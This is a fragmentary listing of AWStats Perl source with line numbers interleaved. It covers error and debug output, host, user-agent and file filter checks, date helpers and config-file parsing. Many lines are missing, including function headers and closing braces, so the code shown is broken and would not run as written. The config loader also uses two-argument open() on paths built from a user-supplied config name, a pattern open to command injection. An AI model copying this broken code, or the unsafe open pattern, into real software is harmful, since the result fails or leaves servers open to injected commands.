# print "<!-- NEW PAGE --><!-- NEW SHEET -->\n";
1035
#------------------------------------------------------------------------------
1036
# Function: Print on stdout tab header of a chart
1037
# Parameters: $title $tooltipnb [$width percentage of chart title]
1041
#------------------------------------------------------------------------------
1044
my $tooltipnb = shift;
1045
my $width = shift || 70;
1048
# Call to plugins' function TabHeadHTML
1049
my $extra_head_html = '';
1050
foreach my $pluginname ( keys %{ $PluginsLoaded{'TabHeadHTML'} } ) {
1051
my $function = "TabHeadHTML_$pluginname";
1052
$extra_head_html .= &$function($title);
1055
if ( $width == 70 && $QueryString =~ /buildpdf/i ) {
1057
"<table class=\"aws_border sortable\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"800\">\n";
1061
"<table class=\"aws_border sortable\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n";
1065
print "<tr><td class=\"aws_title\" width=\"$width%\""
1066
. Tooltip( $tooltipnb, $tooltipnb )
1068
. $extra_head_html . "</td>";
1071
print "<tr><td class=\"aws_title\" width=\"$width%\">$title "
1072
. $extra_head_html . "</td>";
1074
print "<td class=\"aws_blank\"> </td></tr>\n";
1075
print "<tr><td colspan=\"2\">\n";
1076
if ( $width == 70 && $QueryString =~ /buildpdf/i ) {
1078
"<table class=\"aws_data\" border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"796\">\n";
1082
"<table class=\"aws_data\" border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n";
1086
#------------------------------------------------------------------------------
1087
# Function: Print on stdout tab ender of a chart
1092
#------------------------------------------------------------------------------
1095
print "</table></td></tr></table>";
1098
"<span style=\"font: 11px verdana, arial, helvetica;\">$string</span><br />\n";
1103
#------------------------------------------------------------------------------
1104
# Function: Write error message and exit
1105
# Parameters: $message $secondmessage $thirdmessage $donotshowsetupinfo
1106
# Input: $HeaderHTTPSent $HeaderHTMLSent %HTMLOutput $LogSeparator $LogFormat
1109
#------------------------------------------------------------------------------
1111
my $message = shift || '';
1112
if ( scalar keys %HTMLOutput ) {
1113
$message =~ s/\</</g;
1114
$message =~ s/\>/>/g;
1116
my $secondmessage = shift || '';
1117
my $thirdmessage = shift || '';
1118
my $donotshowsetupinfo = shift || 0;
1120
if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { http_head(); }
1121
if ( !$HeaderHTMLSent && scalar keys %HTMLOutput ) {
1122
print "<html><body>\n";
1123
$HeaderHTMLSent = 1;
1125
if ($Debug) { debug( "$message $secondmessage $thirdmessage", 1 ); }
1129
my $tagfontred = '';
1130
my $tagfontgrey = '';
1132
if ( scalar keys %HTMLOutput ) {
1134
$tagunbold = '</b>';
1136
$tagfontred = '<span style="color: #880000">';
1137
$tagfontgrey = '<span style="color: #888888">';
1138
$tagunfont = '</span>';
1140
if ( !$ErrorMessages && $message =~ /^Format error$/i ) {
1142
# Files seems to have bad format
1143
if ( scalar keys %HTMLOutput ) { print "<br /><br />\n"; }
1144
if ( $message !~ $LogSeparator ) {
1146
# Bad LogSeparator parameter
1148
"${tagfontred}AWStats did not found the ${tagbold}LogSeparator${tagunbold} in your log records.${tagbr}${tagunfont}\n";
1152
# Bad LogFormat parameter
1154
"AWStats did not find any valid log lines that match your ${tagbold}LogFormat${tagunbold} parameter, in the ${NbOfLinesForCorruptedLog}th first non commented lines read of your log.${tagbr}\n";
1156
"${tagfontred}Your log file ${tagbold}$thirdmessage${tagunbold} must have a bad format or ${tagbold}LogFormat${tagunbold} parameter setup does not match this format.${tagbr}${tagbr}${tagunfont}\n";
1158
"Your AWStats ${tagbold}LogFormat${tagunbold} parameter is:\n";
1159
print "${tagbold}$LogFormat${tagunbold}${tagbr}\n";
1161
"This means each line in your web server log file need to have ";
1162
if ( $LogFormat == 1 ) {
1164
"${tagbold}\"combined log format\"${tagunbold} like this:${tagbr}\n";
1165
print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
1167
"111.22.33.44 - - [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234 \"http://www.fromserver.com/from.htm\" \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\n";
1169
scalar keys %HTMLOutput
1170
? "</i>$tagunfont${tagbr}${tagbr}\n"
1174
if ( $LogFormat == 2 ) {
1176
"${tagbold}\"MSIE Extended W3C log format\"${tagunbold} like this:${tagbr}\n";
1177
print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
1179
"date time c-ip c-username cs-method cs-uri-sterm sc-status sc-bytes cs-version cs(User-Agent) cs(Referer)\n";
1181
scalar keys %HTMLOutput
1182
? "</i>$tagunfont${tagbr}${tagbr}\n"
1186
if ( $LogFormat == 3 ) {
1188
"${tagbold}\"WebStar native log format\"${tagunbold}${tagbr}\n";
1190
if ( $LogFormat == 4 ) {
1192
"${tagbold}\"common log format\"${tagunbold} like this:${tagbr}\n";
1193
print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
1195
"111.22.33.44 - - [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234\n";
1197
scalar keys %HTMLOutput
1198
? "</i>$tagunfont${tagbr}${tagbr}\n"
1202
if ( $LogFormat == 6 ) {
1204
"${tagbold}\"Lotus Notes/Lotus Domino\"${tagunbold}${tagbr}\n";
1205
print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
1207
"111.22.33.44 - Firstname Middlename Lastname [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234 \"http://www.fromserver.com/from.htm\" \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\n";
1209
scalar keys %HTMLOutput
1210
? "</i></span>${tagbr}${tagbr}\n"
1214
if ( $LogFormat !~ /^[1-6]$/ ) {
1215
print "the following personalized log format:${tagbr}\n";
1216
print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
1217
print "$LogFormat\n";
1219
scalar keys %HTMLOutput
1220
? "</i>$tagunfont${tagbr}${tagbr}\n"
1225
"And this is an example of records AWStats found in your log file (the record number $NbOfLinesForCorruptedLog in your log):\n";
1226
print( scalar keys %HTMLOutput ? "<br />$tagfontgrey<i>" : "" );
1227
print "$secondmessage";
1229
scalar keys %HTMLOutput
1230
? "</i>$tagunfont${tagbr}${tagbr}"
1236
#print "Note: If your $NbOfLinesForCorruptedLog first lines in your log files are wrong because of ";
1237
#print "a worm virus attack, you can increase the NbOfLinesForCorruptedLog parameter in config file.\n";
1241
print( scalar keys %HTMLOutput ? "<br />$tagfontred\n" : "" );
1242
print( $ErrorMessages? "$ErrorMessages" : "Error: $message" );
1243
print( scalar keys %HTMLOutput ? "\n</span><br />" : "" );
1246
if ( !$ErrorMessages && !$donotshowsetupinfo ) {
1247
if ( $message =~ /Couldn.t open config file/i ) {
1249
if ( $dir =~ /^\./ ) { $dir .= '/../..'; }
1250
else { $dir =~ s/[\\\/]?wwwroot[\/\\]cgi-bin[\\\/]?//; }
1252
if ( $ENV{'GATEWAY_INTERFACE'} ) {
1254
"- ${tagbold}Did you use the correct URL ?${tagunbold}${tagbr}\n";
1256
"Example: http://localhost/awstats/awstats.pl?config=mysite${tagbr}\n";
1258
"Example: http://127.0.0.1/cgi-bin/awstats.pl?config=mysite${tagbr}\n";
1262
"- ${tagbold}Did you use correct config parameter ?${tagunbold}${tagbr}\n";
1264
"Example: If your config file is awstats.mysite.conf, use -config=mysite\n";
1267
"- ${tagbold}Did you create your config file 'awstats.$SiteConfig.conf' ?${tagunbold}${tagbr}\n";
1269
"If not, you can run \"awstats_configure.pl\"\nfrom command line, or create it manually.${tagbr}\n";
1273
print "${tagbr}${tagbold}Setup ("
1274
. ( $FileConfig ? "'" . $FileConfig . "'" : "Config" )
1275
. " file, web server or permissions) may be wrong.${tagunbold}${tagbr}\n";
1278
"Check config file, permissions and AWStats documentation (in 'docs' directory).\n";
1281
# Remove lock if not a lock message
1282
if ( $EnableLockForUpdate && $message !~ /lock file/ ) { &Lock_Update(0); }
1283
if ( scalar keys %HTMLOutput ) { print "</body></html>\n"; }
1287
#------------------------------------------------------------------------------
1288
# Function: Write a warning message
1289
# Parameters: $message
1290
# Input: $HeaderHTTPSent $HeaderHTMLSent $WarningMessage %HTMLOutput
1293
#------------------------------------------------------------------------------
1295
my $messagestring = shift;
1297
if ($Debug) { debug( "$messagestring", 1 ); }
1298
if ($WarningMessages) {
1299
if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { http_head(); }
1300
if ( !$HeaderHTMLSent ) { html_head(); }
1301
if ( scalar keys %HTMLOutput ) {
1302
$messagestring =~ s/\n/\<br\>/g;
1303
print "$messagestring<br />\n";
1306
print "$messagestring\n";
1311
#------------------------------------------------------------------------------
1312
# Function: Write debug message and exit
1313
# Parameters: $string $level
1314
# Input: %HTMLOutput $Debug=required level $DEBUGFORCED=required level forced
1317
#------------------------------------------------------------------------------
1319
my $level = $_[1] || 1;
1321
if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) {
1323
} # To send the HTTP header and see debug
1324
if ( $level <= $DEBUGFORCED ) {
1325
my $debugstring = $_[0];
1326
if ( !$DebugResetDone ) {
1327
open( DEBUGFORCEDFILE, "debug.log" );
1328
close DEBUGFORCEDFILE;
1329
chmod 0666, "debug.log";
1330
$DebugResetDone = 1;
1332
open( DEBUGFORCEDFILE, ">>debug.log" );
1333
print DEBUGFORCEDFILE localtime(time)
1334
. " - $$ - DEBUG $level - $debugstring\n";
1335
close DEBUGFORCEDFILE;
1337
if ( $DebugMessages && $level <= $Debug ) {
1338
my $debugstring = $_[0];
1339
if ( scalar keys %HTMLOutput ) {
1340
$debugstring =~ s/^ / /;
1341
$debugstring .= "<br />";
1343
print localtime(time) . " - DEBUG $level - $debugstring\n";
1347
#------------------------------------------------------------------------------
1348
# Function: Optimize an array removing duplicate entries
1349
# Parameters: @Array notcasesensitive=0|1
1353
#------------------------------------------------------------------------------
1356
my @arrayunreg = map {
1357
if (/\(\?[-\w]*:(.*)\)/) { $1 }
1359
my $notcasesensitive = shift;
1362
debug( "OptimizeArray (notcasesensitive=$notcasesensitive)", 4 );
1364
while ( $searchlist > -1 && @arrayunreg ) {
1365
my $elemtoremove = -1;
1367
foreach my $i ( $searchlist .. ( scalar @arrayunreg ) - 1 ) {
1369
# Search if $i elem is already treated by another elem
1370
foreach my $j ( 0 .. ( scalar @arrayunreg ) - 1 ) {
1371
if ( $i == $j ) { next; }
1373
$notcasesensitive ? lc( $arrayunreg[$i] ) : $arrayunreg[$i];
1375
$notcasesensitive ? lc( $arrayunreg[$j] ) : $arrayunreg[$j];
1377
debug( " Compare $i ($parami) to $j ($paramj)", 4 );
1379
if ( index( $parami, $paramj ) > -1 ) {
1382
" Elem $i ($arrayunreg[$i]) already treated with elem $j ($arrayunreg[$j])",
1391
if ( $elemtoremove > -1 ) {
1394
" Remove elem $elemtoremove - $arrayunreg[$elemtoremove]",
1397
splice @arrayunreg, $elemtoremove, 1;
1398
$searchlist = $elemtoremove;
1404
if ($notcasesensitive) {
1405
return map { qr/$_/i } @arrayunreg;
1407
return map { qr/$_/ } @arrayunreg;
1410
#------------------------------------------------------------------------------
1411
# Function: Check if parameter is in SkipDNSLookupFor array
1412
# Parameters: ip @SkipDNSLookupFor (a NOT case sensitive precompiled regex array)
1413
# Return: 0 Not found, 1 Found
1414
#------------------------------------------------------------------------------
1416
foreach (@SkipDNSLookupFor) {
1417
if ( $_[0] =~ /$_/ ) { return 1; }
1419
0; # Not in @SkipDNSLookupFor
1422
#------------------------------------------------------------------------------
1423
# Function: Check if parameter is in SkipHosts array
1424
# Parameters: host @SkipHosts (a NOT case sensitive precompiled regex array)
1425
# Return: 0 Not found, 1 Found
1426
#------------------------------------------------------------------------------
1428
foreach (@SkipHosts) {
1429
if ( $_[0] =~ /$_/ ) { return 1; }
1431
0; # Not in @SkipHosts
1434
#------------------------------------------------------------------------------
1435
# Function: Check if parameter is in SkipReferrers array
1436
# Parameters: host @SkipReferrers (a NOT case sensitive precompiled regex array)
1437
# Return: 0 Not found, 1 Found
1438
#------------------------------------------------------------------------------
1440
foreach (@SkipReferrers) {
1441
if ( $_[0] =~ /$_/ ) { return 1; }
1443
0; # Not in @SkipReferrers
1446
#------------------------------------------------------------------------------
1447
# Function: Check if parameter is in SkipUserAgents array
1448
# Parameters: useragent @SkipUserAgents (a NOT case sensitive precompiled regex array)
1449
# Return: 0 Not found, 1 Found
1450
#------------------------------------------------------------------------------
1452
foreach (@SkipUserAgents) {
1453
if ( $_[0] =~ /$_/ ) { return 1; }
1455
0; # Not in @SkipUserAgent
1458
#------------------------------------------------------------------------------
1459
# Function: Check if parameter is in SkipFiles array
1460
# Parameters: url @SkipFiles (a NOT case sensitive precompiled regex array)
1461
# Return: 0 Not found, 1 Found
1462
#------------------------------------------------------------------------------
1464
foreach (@SkipFiles) {
1465
if ( $_[0] =~ /$_/ ) { return 1; }
1467
0; # Not in @SkipFiles
1470
#------------------------------------------------------------------------------
1471
# Function: Check if parameter is in OnlyHosts array
1472
# Parameters: host @OnlyHosts (a NOT case sensitive precompiled regex array)
1473
# Return: 0 Not found, 1 Found
1474
#------------------------------------------------------------------------------
1476
foreach (@OnlyHosts) {
1477
if ( $_[0] =~ /$_/ ) { return 1; }
1479
0; # Not in @OnlyHosts
1482
#------------------------------------------------------------------------------
1483
# Function: Check if parameter is in OnlyUsers array
1484
# Parameters: host @OnlyUsers (a NOT case sensitive precompiled regex array)
1485
# Return: 0 Not found, 1 Found
1486
#------------------------------------------------------------------------------
1488
foreach (@OnlyUsers) {
1489
if ( $_[0] =~ /$_/ ) { return 1; }
1491
0; # Not in @OnlyUsers
1494
#------------------------------------------------------------------------------
1495
# Function: Check if parameter is in OnlyUserAgents array
1496
# Parameters: useragent @OnlyUserAgents (a NOT case sensitive precompiled regex array)
1497
# Return: 0 Not found, 1 Found
1498
#------------------------------------------------------------------------------
1500
foreach (@OnlyUserAgents) {
1501
if ( $_[0] =~ /$_/ ) { return 1; }
1503
0; # Not in @OnlyUserAgents
1506
#------------------------------------------------------------------------------
1507
# Function: Check if parameter is in NotPageFiles array
1508
# Parameters: url @NotPageFiles (a NOT case sensitive precompiled regex array)
1509
# Return: 0 Not found, 1 Found
1510
#------------------------------------------------------------------------------
1512
foreach (@NotPageFiles) {
1513
if ( $_[0] =~ /$_/ ) { return 1; }
1515
0; # Not in @NotPageFiles
1518
#------------------------------------------------------------------------------
1519
# Function: Check if parameter is in OnlyFiles array
1520
# Parameters: url @OnlyFiles (a NOT case sensitive precompiled regex array)
1521
# Return: 0 Not found, 1 Found
1522
#------------------------------------------------------------------------------
1524
foreach (@OnlyFiles) {
1525
if ( $_[0] =~ /$_/ ) { return 1; }
1527
0; # Not in @OnlyFiles
1530
#------------------------------------------------------------------------------
1531
# Function: Return day of week of a day
1532
# Parameters: $day $month $year
1534
#------------------------------------------------------------------------------
1536
my ( $day, $month, $year ) = @_;
1537
if ($Debug) { debug( "DayOfWeek for $day $month $year", 4 ); }
1538
if ( $month < 3 ) { $month += 10; $year--; }
1539
else { $month -= 2; }
1540
my $cent = sprintf( "%1i", ( $year / 100 ) );
1541
my $y = ( $year % 100 );
1543
sprintf( "%1i", ( 2.6 * $month ) - 0.2 ) + $day + $y +
1544
sprintf( "%1i", ( $y / 4 ) ) + sprintf( "%1i", ( $cent / 4 ) ) -
1545
( 2 * $cent ) ) % 7;
1546
$dw += 7 if ( $dw < 0 );
1547
if ($Debug) { debug( " is $dw", 4 ); }
1551
#------------------------------------------------------------------------------
1552
# Function: Return 1 if a date exists
1553
# Parameters: $day $month $year
1554
# Return: 1 if date exists else 0
1555
#------------------------------------------------------------------------------
1557
my ( $day, $month, $year ) = @_;
1558
if ($Debug) { debug( "DateIsValid for $day $month $year", 4 ); }
1559
if ( $day < 1 ) { return 0; }
1560
if ( $day > 31 ) { return 0; }
1561
if ( $month == 4 || $month == 6 || $month == 9 || $month == 11 ) {
1562
if ( $day > 30 ) { return 0; }
1564
elsif ( $month == 2 ) {
1565
my $leapyear = ( $year % 4 == 0 ? 1 : 0 ); # A leap year every 4 years
1566
if ( $year % 100 == 0 && $year % 400 != 0 ) {
1568
} # Except if year is 100x and not 400x
1569
if ( $day > ( 28 + $leapyear ) ) { return 0; }
1574
#------------------------------------------------------------------------------
1575
# Function: Return string of visit duration
1576
# Parameters: $starttime $endtime
1579
# Return: A string that identify the visit duration range
1580
#------------------------------------------------------------------------------
1581
sub GetSessionRange {
1582
my $starttime = my $endtime;
1583
if ( shift =~ /$regdate/o ) {
1584
$starttime = Time::Local::timelocal( $6, $5, $4, $3, $2 - 1, $1 );
1586
if ( shift =~ /$regdate/o ) {
1587
$endtime = Time::Local::timelocal( $6, $5, $4, $3, $2 - 1, $1 );
1589
my $delay = $endtime - $starttime;
1591
debug( "GetSessionRange $endtime - $starttime = $delay", 4 );
1593
if ( $delay <= 30 ) { return $SessionsRange[0]; }
1594
if ( $delay <= 120 ) { return $SessionsRange[1]; }
1595
if ( $delay <= 300 ) { return $SessionsRange[2]; }
1596
if ( $delay <= 900 ) { return $SessionsRange[3]; }
1597
if ( $delay <= 1800 ) { return $SessionsRange[4]; }
1598
if ( $delay <= 3600 ) { return $SessionsRange[5]; }
1599
return $SessionsRange[6];
1602
#------------------------------------------------------------------------------
1603
# Function: Return string with just the extension of a file in the URL
1604
# Parameters: $regext, $url without query string
1607
# Return: A lowercase string with the name of the extension, e.g. "html"
1608
#------------------------------------------------------------------------------
1612
my $urlwithnoquery = shift;
1613
if ( $urlwithnoquery =~ /$regext/o
1614
|| ( $urlwithnoquery =~ /[\\\/]$/ && $DefaultFile[0] =~ /$regext/o )
1618
( $LevelForFileTypesDetection >= 2 || $MimeHashLib{$1} )
1623
$extension = 'Unknown';
1628
#------------------------------------------------------------------------------
1629
# Function: Returns just the file of the url
1632
# Output: String with the file name
1634
#------------------------------------------------------------------------------
1639
$idx = rindex($temp, "/");
1640
if ($idx > -1){ $temp = substr($temp, $idx+1);}
1642
$idx = rindex($temp, "\\");
1643
if ($idx > -1){ $temp = substr($temp, $idx+1);}
1648
#------------------------------------------------------------------------------
1649
# Function: Compare two browsers version
1654
#------------------------------------------------------------------------------
1658
foreach my $family ( keys %BrowsersFamily ) {
1659
if ( $a =~ /^$family/i ) {
1660
$a =~ m/^(\D+)([\d\.]+)?$/;
1662
@a_ver = split( /\./, $2 );
1667
foreach my $family ( keys %BrowsersFamily ) {
1668
if ( $b =~ /^$family/i ) {
1669
$b =~ m/^(\D+)([\d\.]+)?$/;
1671
@b_ver = split( /\./, $2 );
1678
$compare = $a_family cmp $b_family;
1679
if ( $compare != 0 ) {
1684
my $a_num = shift @a_ver || 0;
1685
my $b_num = shift @b_ver || 0;
1687
$compare = $a_num <=> $b_num;
1689
|| ( scalar(@a_ver) == 0 && scalar(@b_ver) == 0 && $compare == 0 ) )
1698
#------------------------------------------------------------------------------
1699
# Function: Read config file
1700
# Parameters: None or configdir to scan
1701
# Input: $DIR $PROG $SiteConfig
1702
# Output: Global variables
1704
#------------------------------------------------------------------------------
1707
# Check config file in common possible directories :
1708
# Windows : "$DIR" (same dir than awstats.pl)
1709
# Standard, Mandrake and Debian package : "/etc/awstats"
1710
# Other possible directories : "/usr/local/etc/awstats", "/etc"
1711
# FHS standard, Suse package : "/etc/opt/awstats"
1712
my $configdir = shift;
1713
my @PossibleConfigDir = (
1716
"/usr/local/etc/awstats", "/etc",
1721
# Check if configdir is outside default values.
1722
my $outsidedefaultvalue=1;
1723
foreach (@PossibleConfigDir) {
1724
if ($_ eq $configdir) { $outsidedefaultvalue=0; last; }
1727
# If from CGI, overwriting of configdir with a value that differs from a defautl value
1728
# is only possible if AWSTATS_ENABLE_CONFIG_DIR defined
1729
if ($ENV{'GATEWAY_INTERFACE'} && $outsidedefaultvalue && ! $ENV{"AWSTATS_ENABLE_CONFIG_DIR"})
1731
error("Sorry, to allow overwriting of configdir parameter, from an AWStats CGI page, with a non default value, environment variable AWSTATS_ENABLE_CONFIG_DIR must be set to 1. For example, by adding the line 'SetEnv AWSTATS_ENABLE_CONFIG_DIR 1' in your Apache config file or into a .htaccess file.");
1734
@PossibleConfigDir = ("$configdir");
1738
$FileConfig = $FileSuffix = '';
1739
foreach (@PossibleConfigDir) {
1741
if ( $searchdir && $searchdir !~ /[\\\/]$/ ) { $searchdir .= "/"; }
1742
if ( open( CONFIG, "$searchdir$PROG.$SiteConfig.conf" ) ) {
1743
$FileConfig = "$searchdir$PROG.$SiteConfig.conf";
1744
$FileSuffix = ".$SiteConfig";
1745
if ($Debug){debug("Opened config: $searchdir$PROG.$SiteConfig.conf", 2);}
1747
}else{if ($Debug){debug("Unable to open config file: $searchdir$PROG.$SiteConfig.conf", 2);}}
1748
if ( open( CONFIG, "$searchdir$PROG.conf" ) ) {
1749
$FileConfig = "$searchdir$PROG.conf";
1751
if ($Debug){debug("Opened config: $searchdir$PROG.$SiteConfig.conf", 2);}
1753
}else{if ($Debug){debug("Unable to open config file: $searchdir$PROG.conf", 2);}}
1754
#CL - Added to open config if full path is passed to awstats
1755
if ( open( CONFIG, "$SiteConfig" ) ) {
1756
$FileConfig = "$SiteConfig";
1758
if ($Debug){debug("Opened config: $SiteConfig", 2);}
1760
}else{if ($Debug){debug("Unable to open config file: $SiteConfig", 2);}}
1762
if ( !$FileConfig ) {
1763
if ($DEBUGFORCED || !$ENV{'GATEWAY_INTERFACE'}){
1765
"Couldn't open config file \"$PROG.$SiteConfig.conf\" nor \"$PROG.conf\" after searching in path \""
1766
. join( ', ', @PossibleConfigDir )
1768
}else{error("Couldn't open config file \"$PROG.$SiteConfig.conf\" nor \"$PROG.conf\".
1769
Please read the documentation for directories where the configuration file should be located."); }
1772
# Analyze config file content and close it
1773
&Parse_Config( *CONFIG, 1, $FileConfig );
1776
# If parameter NotPageList not found, init for backward compatibility
1777
if ( !$FoundNotPageList ) {
1792
# If parameter ValidHTTPCodes empty, init for backward compatibility
1793
if ( !scalar keys %ValidHTTPCodes ) {
1794
$ValidHTTPCodes{"200"} = $ValidHTTPCodes{"304"} = 1;
1797
# If parameter ValidSMTPCodes empty, init for backward compatibility
1798
if ( !scalar keys %ValidSMTPCodes ) {
1799
$ValidSMTPCodes{"1"} = $ValidSMTPCodes{"250"} = 1;
1803
#------------------------------------------------------------------------------
1804
# Function: Parse content of a config file
1805
# Parameters: opened file handle, depth level, file name
1807
# Output: Global variables
1809
#------------------------------------------------------------------------------
1811
my ($confighandle) = $_[0];
1813
my $configFile = $_[2];
1817
if ( $level > 10 ) {
1819
"$PROG can't read down more than 10 level of includes. Check that no 'included' config files include their parent config file (this cause infinite loop)."
1823
while (<$confighandle>) {
1828
# Extract version from first line
1829
if ( !$versionnum && $_ =~ /^# AWSTATS CONFIGURE FILE (\d+).(\d+)/i ) {
1830
$versionnum = ( $1 * 1000 ) + $2;
1832
#if ($Debug) { debug(" Configure file version is $versionnum",1); }
1836
if ( $_ =~ /^\s*$/ ) { next; }
1839
if ( $_ =~ /^Include "([^\"]+)"/ || $_ =~ /^#include "([^\"]+)"/ )
1840
{ # #include kept for backward compatibility
1841
my $includeFile = $1;
1843
# Expand __var__ by values
1844
while ( $includeFile =~ /__([^\s_]+(?:_[^\s_]+)*)__/ ) {
1846
$includeFile =~ s/__${var}__/$ENV{$var}/g;
1848
if ($Debug) { debug( "Found an include : $includeFile", 2 ); }
1849
if ( $includeFile !~ /^([a-zA-Z]:)?[\\\/]/ ) {
1850
# Correct relative include files
1851
if ( $FileConfig =~ /^(.*[\\\/])[^\\\/]*$/ ) {
1852
$includeFile = "$1$includeFile";
1855
if ( $level > 1 && $^V lt v5.6.0 ) {
1857
"Warning: Perl versions before 5.6 cannot handle nested includes"
1861
local( *CONFIG_INCLUDE ); # To avoid having parent file closed when include file is closed
1862
if ( open( CONFIG_INCLUDE, $includeFile ) ) {
1863
&Parse_Config( *CONFIG_INCLUDE, $level + 1, $includeFile );
1864
close(CONFIG_INCLUDE);
1867
error("Could not open include file: $includeFile");
1873
if ( $_ =~ /^\s*#/ ) { next; }
1876
# Extract param and value
1877
my ( $param, $value ) = split( /=/, $_, 2 );
1881
# If not a param=value, try with next line
1884
"Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored."
1888
if ( !defined $value ) {
1890
"Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored."
1899
$value =~ s/\";?$//;
1901
# Replace __MONENV__ with value of environnement variable MONENV
1902
# Must be able to replace __VAR_1____VAR_2__
1903
while ( $value =~ /__([^\s_]+(?:_[^\s_]+)*)__/ ) {
1905
$value =~ s/__${var}__/$ENV{$var}/g;
1909
# Initialize parameter for (param,value)
1910
if ( $param =~ /^LogFile/ ) {
1911
if ( $QueryString !~ /logfile=([^\s&]+)/i ) { $LogFile = $value; }
1914
if ( $param =~ /^DirIcons/ ) {
1915
if ( $QueryString !~ /diricons=([^\s&]+)/i ) { $DirIcons = $value; }
1918
if ( $param =~ /^SiteDomain/ ) {
1920
# No regex test as SiteDomain is always exact value
1921
$SiteDomain = $value;
1924
if ( $param =~ /^HostAliases/ ) {
1926
foreach my $elem ( split( /\s+/, $value ) ) {
1927
if ( $elem =~ s/^\@// ) { # If list of hostaliases in a file
1928
open( DATAFILE, "<$elem" )
1930
"Failed to open file '$elem' declared in HostAliases parameter"
1932
my @val = map( /^(.*)$/i, <DATAFILE> );
1933
push @HostAliases, map { qr/^$_$/i } @val;
1937
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
1938
else { $elem = '^' . quotemeta($elem) . '$'; }
1939
if ($elem) { push @HostAliases, qr/$elem/i; }
1945
# Special optional setup params
1946
if ( $param =~ /^SkipDNSLookupFor/ ) {
1947
@SkipDNSLookupFor = ();
1948
foreach my $elem ( split( /\s+/, $value ) ) {
1949
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
1950
else { $elem = '^' . quotemeta($elem) . '$'; }
1951
if ($elem) { push @SkipDNSLookupFor, qr/$elem/i; }
1955
if ( $param =~ /^AllowAccessFromWebToFollowingAuthenticatedUsers/ ) {
1956
@AllowAccessFromWebToFollowingAuthenticatedUsers = ();
1957
foreach ( split( /\s+/, $value ) ) {
1958
push @AllowAccessFromWebToFollowingAuthenticatedUsers, $_;
1962
if ( $param =~ /^DefaultFile/ ) {
1964
foreach my $elem ( split( /\s+/, $value ) ) {
1966
# No REGEX for this option
1967
#if ($elem =~ /^REGEX\[(.*)\]$/i) { $elem=$1; }
1968
#else { $elem='^'.quotemeta($elem).'$'; }
1969
if ($elem) { push @DefaultFile, $elem; }
1973
if ( $param =~ /^SkipHosts/ ) {
1975
foreach my $elem ( split( /\s+/, $value ) ) {
1976
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
1977
else { $elem = '^' . quotemeta($elem) . '$'; }
1978
if ($elem) { push @SkipHosts, qr/$elem/i; }
1982
if ( $param =~ /^SkipReferrersBlackList/ && $value ) {
1983
open( BLACKLIST, "<$value" )
1984
|| die "Failed to open blacklist: $!\n";
1985
while (<BLACKLIST>) {
1990
if ($elem) { push @SkipReferrers, qr/$elem/i; }
1995
if ( $param =~ /^SkipUserAgents/ ) {
1996
@SkipUserAgents = ();
1997
foreach my $elem ( split( /\s+/, $value ) ) {
1998
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
1999
else { $elem = '^' . quotemeta($elem) . '$'; }
2000
if ($elem) { push @SkipUserAgents, qr/$elem/i; }
2004
if ( $param =~ /^SkipFiles/ ) {
2006
foreach my $elem ( split( /\s+/, $value ) ) {
2007
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2008
else { $elem = '^' . quotemeta($elem) . '$'; }
2009
if ($elem) { push @SkipFiles, qr/$elem/i; }
2013
if ( $param =~ /^OnlyHosts/ ) {
2015
foreach my $elem ( split( /\s+/, $value ) ) {
2016
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2017
else { $elem = '^' . quotemeta($elem) . '$'; }
2018
if ($elem) { push @OnlyHosts, qr/$elem/i; }
2022
if ( $param =~ /^OnlyUsers/ ) {
2024
foreach my $elem ( split( /\s+/, $value ) ) {
2025
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2026
else { $elem = '^' . quotemeta($elem) . '$'; }
2027
if ($elem) { push @OnlyUsers, qr/$elem/i; }
2031
if ( $param =~ /^OnlyUserAgents/ ) {
2032
@OnlyUserAgents = ();
2033
foreach my $elem ( split( /\s+/, $value ) ) {
2034
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2035
else { $elem = '^' . quotemeta($elem) . '$'; }
2036
if ($elem) { push @OnlyUserAgents, qr/$elem/i; }
2040
if ( $param =~ /^OnlyFiles/ ) {
2042
foreach my $elem ( split( /\s+/, $value ) ) {
2043
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2044
else { $elem = '^' . quotemeta($elem) . '$'; }
2045
if ($elem) { push @OnlyFiles, qr/$elem/i; }
2049
if ( $param =~ /^NotPageFiles/ ) {
2051
foreach my $elem ( split( /\s+/, $value ) ) {
2052
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2053
else { $elem = '^' . quotemeta($elem) . '$'; }
2054
if ($elem) { push @NotPageFiles, qr/$elem/i; }
2058
if ( $param =~ /^NotPageList/ ) {
2060
foreach ( split( /\s+/, $value ) ) { $NotPageList{$_} = 1; }
2061
$FoundNotPageList = 1;
2064
if ( $param =~ /^ValidHTTPCodes/ ) {
2065
%ValidHTTPCodes = ();
2066
